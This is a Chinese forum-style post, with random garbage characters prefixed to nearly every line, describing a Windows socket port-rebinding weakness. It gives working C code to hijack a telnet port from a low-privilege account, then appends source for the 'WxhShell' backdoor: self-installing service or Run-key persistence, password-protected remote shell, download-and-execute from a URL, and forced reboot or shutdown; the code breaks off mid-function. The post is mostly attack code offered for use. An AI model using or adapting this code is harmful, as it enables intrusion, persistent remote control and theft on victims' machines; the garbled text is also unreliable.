在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,{RWs^W2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|JUAR{ t.XuH# saddr.sin_family = AF_INET;
7c'OIY]., SzjylUYV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]4_)WUS.c }f] ~{^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mL s>RR#b 3SF J8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
59_VC(' b~rlh=(o#_ 这意味着什么?意味着可以进行如下的攻击:
Eo<N p!LaR.8] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u&Xn#fh ^12}#I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`v Ebm Xb .uo:fxbd2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9aKCO4 _ba.oIc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A$J?- GmN~e*x>p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l\=He w}(Ht_6q{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}~NWOJ3;
{0} Q5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R8u9tTW 7/c9azmC #include
\v.YP19 #include
.t%`"C #include
^ G>/;mZ #include
lz0'E'%{P DWORD WINAPI ClientThread(LPVOID lpParam);
EK^["_*A int main()
u6p
nO {
V34]5 WORD wVersionRequested;
EDGAaN*Q DWORD ret;
p~t5PU*( WSADATA wsaData;
sCRmLUD BOOL val;
b@N*W] SOCKADDR_IN saddr;
bdyE9t SOCKADDR_IN scaddr;
HNL;s5gq int err;
P/~kX_ SOCKET s;
l`<u\], SOCKET sc;
_dw6 C2]P int caddsize;
EAnw:yUV( HANDLE mt;
l*4_
DWORD tid;
'sAs# wVersionRequested = MAKEWORD( 2, 2 );
I/w=!Ih err = WSAStartup( wVersionRequested, &wsaData );
)@.6u9 \ if ( err != 0 ) {
UYOR@x # printf("error!WSAStartup failed!\n");
lJXihr return -1;
<nT).S>+ }
x5nw/''[2 saddr.sin_family = AF_INET;
f5|Ew&1EP 1ml{oqNj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bp(X\:zAy "+ 8Y{T saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?Kf?Z`9 *Y saddr.sin_port = htons(23);
"0A !fRI~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L+$9 ,<'[ {
T! fF1cpF\ printf("error!socket failed!\n");
gJI(d6 return -1;
3%SwCYd }
T,Zfz9{n val = TRUE;
ye1hcQ //SO_REUSEADDR选项就是可以实现端口重绑定的
"':u#UdS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_,9/g^< {
`!iVMTp printf("error!setsockopt failed!\n");
G~Mxh,aD$> return -1;
9"mcN3x:\e }
LIDYKKDJ^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hNJubTSE+) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
){{]3r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D^JuL6U G8voqP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3a]Omuu|= {
ZU-vZD> ret=GetLastError();
N| L Ey printf("error!bind failed!\n");
mg7Q~SLL{ return -1;
9-?[%8 }
d365{ listen(s,2);
)'gO?cN while(1)
C'jE'B5b {
Qh.
:
N caddsize = sizeof(scaddr);
a6fqtkZ x //接受连接请求
00)=3@D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jZvQMW if(sc!=INVALID_SOCKET)
8g CQ0w< {
P~"`Og+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A~UDtXN*4 if(mt==NULL)
PE-P(T3s[8 {
jI9Kn41 printf("Thread Creat Failed!\n");
B^u qu break;
Ss~dK-{e7 }
?sBbe@OC? }
`^7ARr/ CloseHandle(mt);
LlfD>cN }
DsP FBq closesocket(s);
?~>#(Q WSACleanup();
(qM(~4|` return 0;
=W~K_jE5lo }
w %sHA DWORD WINAPI ClientThread(LPVOID lpParam)
tag~SG`ov {
#RwqEZ SOCKET ss = (SOCKET)lpParam;
?u]%T]W SOCKET sc;
e)2s2y@zi unsigned char buf[4096];
4-: TQp( SOCKADDR_IN saddr;
`d[ja, long num;
}6V` U9^g DWORD val;
3bp'UEF^k DWORD ret;
oAgO3x
//如果是隐藏端口应用的话,可以在此处加一些判断
f}1R,N_fC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+u:Q+PkM saddr.sin_family = AF_INET;
,TAzJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9e|]H+y saddr.sin_port = htons(23);
^"!j m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$|yO
mh {
ywRwi~ printf("error!socket failed!\n");
.(8sa8{N return -1;
V:w=h>z8 }
Iv5agh% val = 100;
hh!^^emo if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.w `1;o {
'h&"xXv4| ret = GetLastError();
=fZ)2q return -1;
nUL8*#p- }
g0!{CW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Uxq9H {
cH!w;Ub] ret = GetLastError();
{)QSxO return -1;
*MEDV1l_T }
n"1LVJN7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
? }2]G'7? {
;*Cu >f7 printf("error!socket connect failed!\n");
0{PRv./` closesocket(sc);
p/a)vN+*x' closesocket(ss);
B>CG/] return -1;
k2xOu9ncEj }
8W|qm;J98 while(1)
|lijnfp {
: _>/Yd7-& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b'N(eka //如果是嗅探内容的话,可以再此处进行内容分析和记录
9Xg+$/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m};Qng] num = recv(ss,buf,4096,0);
'o#ve72z1 if(num>0)
<XV\8Y+n send(sc,buf,num,0);
d +Vx:`tT else if(num==0)
:{d?B$ break;
nSL
x1Q num = recv(sc,buf,4096,0);
4$=Dq$4z if(num>0)
wh\J)pA1 send(ss,buf,num,0);
$~V,.RD else if(num==0)
' ju{j`b break;
0!c^pOq6 }
qe!\ oh closesocket(ss);
S'jH closesocket(sc);
0"~`U.k~M return 0 ;
g$\Z-!( }
,rB"ag ! 8jE6zS}m 0~{& ==========================================================
l0m\2Ttf $~|#Rz%v 下边附上一个代码,,WXhSHELL
:dtX^IT .CClc(bO_/ ==========================================================
s.E}xv 4wZ{Z
2w #include "stdafx.h"
CV~\xYY `i8KIE #include <stdio.h>
)|88wa(M #include <string.h>
s:j"8ZH #include <windows.h>
==[a7|q #include <winsock2.h>
$ePBw~yu #include <winsvc.h>
I$o^F/RH #include <urlmon.h>
*;~*S4/P / ;U #pragma comment (lib, "Ws2_32.lib")
B*+3A!{s #pragma comment (lib, "urlmon.lib")
idLysxN QeYO)sc` #define MAX_USER 100 // 最大客户端连接数
HCh;Xi #define BUF_SOCK 200 // sock buffer
@Fp-6J #define KEY_BUFF 255 // 输入 buffer
'Jb6CRn MX%D%}N #define REBOOT 0 // 重启
b5hJaXJN #define SHUTDOWN 1 // 关机
Kp+Lk q][{? #define DEF_PORT 5000 // 监听端口
*[Ld\lRj +X4O.6Mn #define REG_LEN 16 // 注册表键长度
OIK14D: #define SVC_LEN 80 // NT服务名长度
,r{[l D^ ps#+i // 从dll定义API
&R54?u^A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s6(iiB%d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
D{&0r.2F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8#OcrJzC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~:Jw2 P2z Jl^Rz;bQ- // wxhshell配置信息
x(/KHpSWK struct WSCFG {
h)EHaaf int ws_port; // 监听端口
SCClD6k=V char ws_passstr[REG_LEN]; // 口令
[b:$sR; int ws_autoins; // 安装标记, 1=yes 0=no
~RV>V*l char ws_regname[REG_LEN]; // 注册表键名
} PD]e*z{Z char ws_svcname[REG_LEN]; // 服务名
"p43# char ws_svcdisp[SVC_LEN]; // 服务显示名
ESk<*- char ws_svcdesc[SVC_LEN]; // 服务描述信息
lF]cUp#< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U2*g9Es int ws_downexe; // 下载执行标记, 1=yes 0=no
78v4cQ Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/P*mF^Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U!E
SMr
]Gf. };
i2ap] 4WV'\R+m // default Wxhshell configuration
W?;kMGW- struct WSCFG wscfg={DEF_PORT,
-e"~UDq` "xuhuanlingzhe",
(nk)'ur. 1,
D-7PO3F:F "Wxhshell",
*x EcX6ZHX "Wxhshell",
93="sS "WxhShell Service",
&UhI1mi]h "Wrsky Windows CmdShell Service",
@J~n$^ke "Please Input Your Password: ",
o2
=UUD& 1,
'iM;e K "
http://www.wrsky.com/wxhshell.exe",
wD}ojA&DU "Wxhshell.exe"
D ];%Ey };
`C~RA,M @add'>) // 消息定义模块
EG<YxNX, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KdT1Nb= char *msg_ws_prompt="\n\r? for help\n\r#>";
9o<}*L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
sd;J(<Ofh char *msg_ws_ext="\n\rExit.";
&Q>)3] |p char *msg_ws_end="\n\rQuit.";
GY@-}p~it char *msg_ws_boot="\n\rReboot...";
L-}>;M$Y) char *msg_ws_poff="\n\rShutdown...";
box(FjrZE char *msg_ws_down="\n\rSave to ";
(f DA E|ce[|2 char *msg_ws_err="\n\rErr!";
60KhwD1 char *msg_ws_ok="\n\rOK!";
Tu Q@b N=J$+ char ExeFile[MAX_PATH];
xjHOrr
OQ int nUser = 0;
~7$E\w6 HANDLE handles[MAX_USER];
SST1vzm! int OsIsNt;
/5^"n4/M k}-@N;zq SERVICE_STATUS serviceStatus;
p@H]F< SERVICE_STATUS_HANDLE hServiceStatusHandle;
:DP%>H| B3V:? # // 函数声明
<qD/ #$ int Install(void);
J: int Uninstall(void);
GzJLG=M int DownloadFile(char *sURL, SOCKET wsh);
*={`
% int Boot(int flag);
/ ,3,l^kZ void HideProc(void);
G=lcKtMdg int GetOsVer(void);
Hl"qLrb4 int Wxhshell(SOCKET wsl);
dmHpF\P5f void TalkWithClient(void *cs);
|oq27*ix~m int CmdShell(SOCKET sock);
4q"x|}a int StartFromService(void);
^h+,Kn0@ int StartWxhshell(LPSTR lpCmdLine);
}`g:)gJ ?{s!.U[T@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
xOCHP|? VOID WINAPI NTServiceHandler( DWORD fdwControl );
OhmKjY/} % AqUVt9} // 数据结构和表定义
@5n!t1( SERVICE_TABLE_ENTRY DispatchTable[] =
Kq}/`P {
%G6ml, {wscfg.ws_svcname, NTServiceMain},
%Z@+K_X9x {NULL, NULL}
/+\m7IS };
Ha l,%W~e mQmn &:R // 自我安装
8spoDb.S int Install(void)
2@``=0z {
=M"H~;f] char svExeFile[MAX_PATH];
`UFRv HKEY key;
*vn^
W strcpy(svExeFile,ExeFile);
7cx~?xk <m kTG4h@w // 如果是win9x系统,修改注册表设为自启动
-TKS`,# if(!OsIsNt) {
70p1&Y7or if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
("{JNA/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<vx/pH)f RegCloseKey(key);
B .p&,K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5y7rY!]Bf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#3@ Du(_n RegCloseKey(key);
2j_YHv$I return 0;
ahi lp$v }
3w9j~s }
?bc-?<Xk }
)X{ x\
/N else {
%u\Oj \8U *"V5j#F_ // 如果是NT以上系统,安装为系统服务
av>c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E"l&<U if (schSCManager!=0)
rj qX| {
tx}}Kd SC_HANDLE schService = CreateService
-lHSojq~H (
rj[2XIO schSCManager,
0z)
8i P wscfg.ws_svcname,
O)n LV~X wscfg.ws_svcdisp,
Js7(TFQE SERVICE_ALL_ACCESS,
" , c1z\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>r%L=22+ SERVICE_AUTO_START,
"KQ3EI/g SERVICE_ERROR_NORMAL,
dR"H,$UH svExeFile,
5b
X*8H
D NULL,
:TU;%@7 NULL,
%M{qr!?uj NULL,
z -|gw.y NULL,
pKDP1S#< NULL
8Xpf|?. );
K8NoY6 if (schService!=0)
u"IYAyzL {
j.Ro(0% CloseServiceHandle(schService);
%VG;vW\V CloseServiceHandle(schSCManager);
Y 1a[HF^- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6@pPaq6 strcat(svExeFile,wscfg.ws_svcname);
xW@y=l Cu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`ER">@& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
O+I\Q? RegCloseKey(key);
+jzwi3B` return 0;
O]{3aMs!Y }
[+0rlmB }
K#bd b CloseServiceHandle(schSCManager);
T^LpoN/T }
}gL:"C"~ }
(.Hiee43 bJc<FL<E return 1;
Ed[ tmaEuV }
Q!DH8'|4?L rU?sUm,ch // 自我卸载
/ fBi9=}+ int Uninstall(void)
q{v:T}Q|A {
D=}UKd HKEY key;
@UCI^a~w YXE?b@W" if(!OsIsNt) {
X`km\\* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lz>YjK: RegDeleteValue(key,wscfg.ws_regname);
f49pIcAq RegCloseKey(key);
6?y<F4
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>ZMB}pt` RegDeleteValue(key,wscfg.ws_regname);
4;anoqiG\ RegCloseKey(key);
M@$}Og return 0;
Il(p!l<Xz# }
&u5OL?> }
hE>ux"_2/ }
y<7C!E#b8 else {
Ay7I_"% }*.S=M]y$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
e~tgd8a2a if (schSCManager!=0)
'<N^u@tF7 {
lej-,HX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~`'!nzP5H if (schService!=0)
`.3! {
'n`+R~Kkh if(DeleteService(schService)!=0) {
aRSGI ja<L CloseServiceHandle(schService);
Yud]s~N CloseServiceHandle(schSCManager);
, 'WhF- return 0;
R=uzm=&nR }
$4K(AEt[ CloseServiceHandle(schService);
~WH4D+ }
8:9m< ^4S( CloseServiceHandle(schSCManager);
2xBIfmR^y }
2=Sv# }
V~j:!=b%v f,Q oA return 1;
"`P/j+-rt }
W[trsFP1? @tQu3Rq@ // 从指定url下载文件
3vx5dUgl, int DownloadFile(char *sURL, SOCKET wsh)
)?35!s6 {
AF ,*bb HRESULT hr;
HUF],[N char seps[]= "/";
p<b//^ char *token;
&L3OP@; char *file;
BJGL &N char myURL[MAX_PATH];
5,/rh,? char myFILE[MAX_PATH];
3m
RP.<= Dep.Qfv{- strcpy(myURL,sURL);
2aQR#lcv token=strtok(myURL,seps);
B|%(0j8 while(token!=NULL)
,(d\! T/]' {
:
utY4 file=token;
?y1']GAo token=strtok(NULL,seps);
AY]dwKw }
-$W#bqvz^ uw'>tb@ GetCurrentDirectory(MAX_PATH,myFILE);
s"u6po.' strcat(myFILE, "\\");
N?cvQR{r9 strcat(myFILE, file);
{ +d](+$ send(wsh,myFILE,strlen(myFILE),0);
aYTVYg send(wsh,"...",3,0);
TJk3z^.j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ITcgpK6k if(hr==S_OK)
U^qQ((ek return 0;
Ziclw) else
|'mwr! return 1;
-Jqm0)2 &(M][Uo{|' }
xBba&A]= _+c' z // 系统电源模块
&BF97%E2 int Boot(int flag)
EPEy60Rx5 {
b02V#m;Z HANDLE hToken;
N.\?"n TOKEN_PRIVILEGES tkp;
4:umD*d 3E ?=
G+L0t
if(OsIsNt) {
--S1p0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@#HB6B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\!O3]k,r tkp.PrivilegeCount = 1;
k2bjBAT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e"=/zZH3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y.}"<{RQ if(flag==REBOOT) {
p\;\hHai if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l=|>9,La return 0;
kSW=DE|#} }
PjwDth
A1 else {
pm2-F] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|}^me7C,[ return 0;
6XP>qI,AJ }
Za[?CA }
0B}O&DC%| else {
_ MsO2A if(flag==REBOOT) {
q fc:%ks2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%fbV\@jDCX return 0;
_sp,,gz }
]et
]Vkg else {
/Dd.C<F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M&Q